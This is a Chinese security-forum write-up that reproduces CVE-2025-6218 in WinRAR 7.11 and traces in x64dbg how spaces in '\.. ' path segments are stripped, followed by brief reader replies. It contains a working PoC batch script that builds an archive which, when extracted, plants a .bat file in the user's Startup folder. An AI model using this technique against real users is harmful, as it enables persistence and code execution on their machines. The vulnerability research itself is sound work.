[原创]WinRAR之CVE-2025-6218漏洞复现与分析-二进制漏洞-看雪安全社区

# 1、背景
在刷B站时看到有人在分享这个漏洞的原因，稍微琢磨了一下，脑袋告诉我：懂了，原来如此。但up主最后只给出了x64dbg中判断字符是否是空格的地方，没有给出定位过程，所以当时就来了兴趣，想自己分析分析。

# 2、漏洞复现
话不多说，直接复现。
下载7.11版本，安装到默认目录：
 ![图片描述](upload/attach/202509/705350_MPY78Y4NP2ZGZA3.webp)

在桌面新建CVE-2025-6218.bat，内容如下：

```
@echo offtitle CVE-2025-6218 POC
echo calc.exe > POC.bat
"C:\Program Files\WinRAR\WinRAR.exe" a -ap" \.. \.. \AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\"  CVE-2025-6218.zip POC.bat
echo.if errorlevel 1 (    echo [!] Failed to create POC.) else (    echo [+] CVE-2025-6218.zip created successfully!)echo.
del POC.bat
pause
```
注意第3行的\..后面有空格。
第3行的命令的意思是：
生成CVE-2025-6218.zip压缩包文件，并将POC.bat添加到进去，同时指明了POC.bat在压缩包里的路径，长这样：
 ![图片描述](upload/attach/202509/705350_G83Q48P35STYDAP.webp)

执行CVE-2025-6218.bat：
 ![图片描述](upload/attach/202509/705350_K82BK9CYZWBNKAD.webp)
会在桌面生成CVE-2025-6218.zip压缩包，右键解压到CVE-2025-6218，即意思是想在桌面生成CVE-2025-6218文件夹，但是结果却把POC.bat写入到了启动目录了：
 ![图片描述](upload/attach/202509/705350_V2PS6YXXVQZWKN8.webp)
再解压一遍，发生覆盖提示：
 ![图片描述](upload/attach/202509/705350_S935W9YMRAZJQV2.webp)
从给出的提示来看，路径里面的\..后面没有空格了，路径也拼接好了，倒退两层就会变成：

```
C:\Users\Win10.1809x64\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\POC.bat
```
之所以会解压到启动目录，是这样的：
右键解压到CVE-2025-6218，目标目录就是：
```
C:\Users\Win10.1809x64\Desktop\CVE-2025-6218
```
但是压缩时指定了路径：
```
\\..\..\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\POC.bat
```
所以两者拼接起来就是启动目录了。

从复现结果和覆盖提示能看出WinRAR拼接了路径，消除了空格，但是我不满足于此，想知道是在哪儿用什么方式处理的？是用strcpy还是memcpy、memmove？即我既想知道结果，也想知道过程。而网上的都是复现文章，没有过程分析文章，所以还是自食其力分析一下。

# 3、过程分析
用ProcMon监控WinRAR.exe的文件行为，发现会往启动目录创建POC.bat文件，所以x64dbg拖入WinRAR.exe，对CreateFileW函数下断。（猜也猜得到是创建文件，所以可以不用ProcMon）
先取消CreateFileW断点（因为会频繁断下），运行起来，选中压缩包，进行解压：
 ![图片描述](upload/attach/202509/705350_GASJRTB6JENXAED.webp)

出现下图覆盖提示界面时，这个时候启用断点，然后确认覆盖，就会断在我们想要的地方：
 ![图片描述](upload/attach/202509/705350_C4U8Q9AMWAXP9F2.webp)

断下后，Ctrl+F9返回到上层，返回个两三次，就会来到下图的地方。全局变量0x00007FF6526F0F08里存放的就是目标路径字符串指针，而且目标字符串是拼接完成状态，而且其中的空格也被消除了：
 ![图片描述](upload/attach/202509/705350_QEJASM5W7P6A8B3.webp)

再次解压，但不要进入覆盖提示界面（因为覆盖提示界面弹出时，已经把空格处理了，然后将处理好的路径展示给我们）。这个时候可以看到，全局变量里清0了，也就是说目标字符串指针还未写入：
 ![图片描述](upload/attach/202509/705350_AN8WTWRCZ65A2Q8.webp)
对全局变量地址下硬件写入断点，然后点上图的【确定】按钮，中断后一直点运行，观察内存窗口，某一次就发现有字符串指针写入了，而且空格没有被处理，路径也还没拼接：
 ![图片描述](upload/attach/202509/705350_G8CAVPCW6R933JW.webp)

这个时候一直F8单步，运行到下图时，在读取全局指针变量了，应该要准备读取字符串进行处理了：
 ![图片描述](upload/attach/202509/705350_3Y8CM4PB5HJ8DRG.webp)
再继续单步，就会来到一个循环。
这里我跟了一下，循环会执行两轮，两轮后，字符串中的空格才会被处理，录制动图如下，一直按F9，两轮循环后，字符串中的空格被处理了，并且生成了最终的文件路径：
 ![图片描述](upload/attach/202509/705350_QBC6MJATTHP7SWN.webp)

所以在第二轮循环快结束时，单步跟踪到这里，是这个call进行字符串处理：
 ![图片描述](upload/attach/202509/705350_Y46P75AJ98WRQ4X.webp)

那就跟进去看看，一直单步，遇到哪个call处理了路径，就进入。在下图会有一个循环，逐字符判断，关注对空格的判断即可：
 ![图片描述](upload/attach/202509/705350_GF6JURCM6EWRPZS.webp)

如果是空格的话，就会调用call 0x00007FF65248A430进行处理：
 ![图片描述](upload/attach/202509/705350_K7V3PHPVQCTSS6T.webp)

看看里面是怎么处理的：
 ![图片描述](upload/attach/202509/705350_43ERG3KJHYZDP8W.webp)
先是得到空格所在索引，通过索引截取到子字符串，地址赋值给RCX（开头是空格字符）。
然后子字符串偏移一个字符，即略过空格，地址赋值给RDX（开头是非空格字符）

继续单步到下图，关注框住的两行代码即可。
第一行：vmovdqu ymm1,yword ptr ds:[rdx+r9-A0]，就是从RDX指向的字符串中读取32个字节，赋值给ymm1。
第二行：vmovdqu yword ptr ds:[rcx+r9-A0],ymm1，就是将读取的32个字节写入到RCX指向的地址中。
 ![图片描述](upload/attach/202509/705350_NQUEW6N2Y6MCS4Y.webp)
问了下AI，这是一组AVX（高级矢量扩展）指令集，进行数据移动，每次可移动32个字节。
分析到这里其实就清楚了，本质就是RCX指向的字符串，第一个字符是空格，而RDX经过加1处理，就绕过了空格，最后使用AVX指令，从RDX指向的字符串中读取32个字节，往RCX指向的地址进行写入，如此便把空格给消除了。简而言之就是往前移动数据。

备注：其实，当字符串拼接好但还未处理空格时，对字符串地址下硬件写入断点，可以更快到达上图的代码。不过本次分析我的目的是重在了解细节。分析修复版本的WinRAR时也可以这样操作。

# 4、参考
漏洞复现参考：<mark class="encrypted">decK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6U0L8r3!0#2k6q4)9J5k6i4c8W2L8X3y4W2L8Y4c8Q4x3X3g2U0L8$3#2Q4x3V1k6V1k6i4k6W2L8r3!0H3k6i4u0Q4x3V1k6S2M7Y4c8A6j5$3I4W2i4K6u0r3x3U0f1@1y4o6p5#2x3R3`.`.</mark>

回复或点赞可查看完整内容

传递专业知识、拓宽行业人脉——看雪讲师团队等你加入！！

#漏洞分析 #Windows

最新回复 (37) 1 2 ▶
mb_lghhumnu 雪币： 0 能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 22 粉丝 0 关注私信	mb_lghhumnu 2 楼谢谢分享 2025-10-17 15:42 1
王cb 雪币： 7713 活跃值： (9144) 能力值： ( LV13，RANK：680 ) 在线值：发帖 44 回帖 154 粉丝 190 关注私信	王cb 14 3 楼 hao 2025-10-21 18:05 0
mb_lqfpkldv 雪币： 8 能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 1 粉丝 0 关注私信	mb_lqfpkldv 4 楼谢谢分享 2025-11-21 13:51 0
魔童雪币： 944 活跃值： (2382) 能力值： ( LV2，RANK：10 ) 在线值：发帖 0 回帖 113 粉丝 1 关注私信	魔童 5 楼 666666666 2025-11-24 20:10 0
wx_Timedout 雪币： 0 活跃值： (90) 能力值： ( LV2，RANK：10 ) 在线值：发帖 0 回帖 17 粉丝 0 关注私信	wx_Timedout 6 楼 6 2025-11-30 14:51 0
mb_xydrhmyb 雪币： 13 能力值： ( LV1，RANK：0 ) 在线值：发帖 1 回帖 4 粉丝 0 关注私信	mb_xydrhmyb 7 楼谢谢分享 2025-12-1 11:25 0
很酷很爱笑雪币： 0 能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 1 粉丝 0 关注私信	很酷很爱笑 8 楼 666 2025-12-4 14:11 0
mb_lglvrfgg 雪币： 200 能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 3 粉丝 0 关注私信	mb_lglvrfgg 9 楼 666 2025-12-15 10:20 0
mb_bowoqixc 雪币： 801 能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 2 粉丝 0 关注私信	mb_bowoqixc 10 楼 666 2025-12-18 09:13 0
猫头鹰信使雪币： 1000 活跃值： (25) 能力值： ( LV2，RANK：10 ) 在线值：发帖 0 回帖 1 粉丝 0 关注私信	猫头鹰信使 11 楼 666 2025-12-22 15:06 0
mb_rsmjwtxk 雪币： 1100 活跃值： (1278) 能力值： ( LV2，RANK：10 ) 在线值：发帖 0 回帖 6 粉丝 0 关注私信	mb_rsmjwtxk 12 楼感谢分享 2025-12-25 19:10 0
mb_eizetlni 雪币： 0 能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 42 粉丝 1 关注私信	mb_eizetlni 13 楼 666 2025-12-26 07:11 0
mb_bbimrebf 雪币： 0 能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 2 粉丝 0 关注私信	mb_bbimrebf 14 楼 666 2025-12-26 10:30 0
hsgj000 雪币： 6 活跃值： (1358) 能力值： ( LV2，RANK：10 ) 在线值：发帖 0 回帖 11 粉丝 0 关注私信	hsgj000 15 楼 666 2025-12-26 16:35 0
bluemvbc 雪币： 63 能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 3 粉丝 0 关注私信	bluemvbc 16 楼 66666 2025-12-27 12:33 0
wbz007 雪币： 220 能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 1 粉丝 0 关注私信	wbz007 17 楼楼主辛苦了，学习了 2025-12-27 13:19 0
adnin 雪币： 3248 活跃值： (3624) 能力值： ( LV2，RANK：10 ) 在线值：发帖 0 回帖 85 粉丝 0 关注私信	adnin 18 楼弹c看 2025-12-27 14:27 0
mb_ygxdlbdi 雪币： 0 能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 21 粉丝 0 关注私信	mb_ygxdlbdi 19 楼 666 2026-1-4 13:21 0
康东雪币： 10013 活跃值： (4672) 能力值： ( LV2，RANK：10 ) 在线值：发帖 4 回帖 165 粉丝 0 关注私信	康东 20 楼谢谢分享.... 2026-1-4 14:01 0
剑残雪飘雪币： 242 活跃值： (348) 能力值： ( LV2，RANK：10 ) 在线值：发帖 2 回帖 30 粉丝 0 关注私信	剑残雪飘 21 楼 2026-1-5 17:43 0
mb_pxhitdlw 雪币： 228 能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 1 粉丝 0 关注私信	mb_pxhitdlw 22 楼 666 2026-1-13 20:22 0
mb_foytjqda 雪币： 0 能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 1 粉丝 0 关注私信	mb_foytjqda 23 楼 666 2026-1-14 16:10 0
Theoydw 雪币： 900 活跃值： (206) 能力值： ( LV3，RANK：26 ) 在线值：发帖 0 回帖 3 粉丝 0 关注私信	Theoydw 24 楼 6 2026-1-15 14:45 0
wx_q 雪币： 0 活跃值： (991) 能力值： ( LV2，RANK：10 ) 在线值：发帖 0 回帖 43 粉丝 0 关注私信	wx_q 25 楼 NIU 666 2026-1-15 15:58 0
	游客登录 \| 注册方可回帖回帖表情雪币赚取及消费高级回复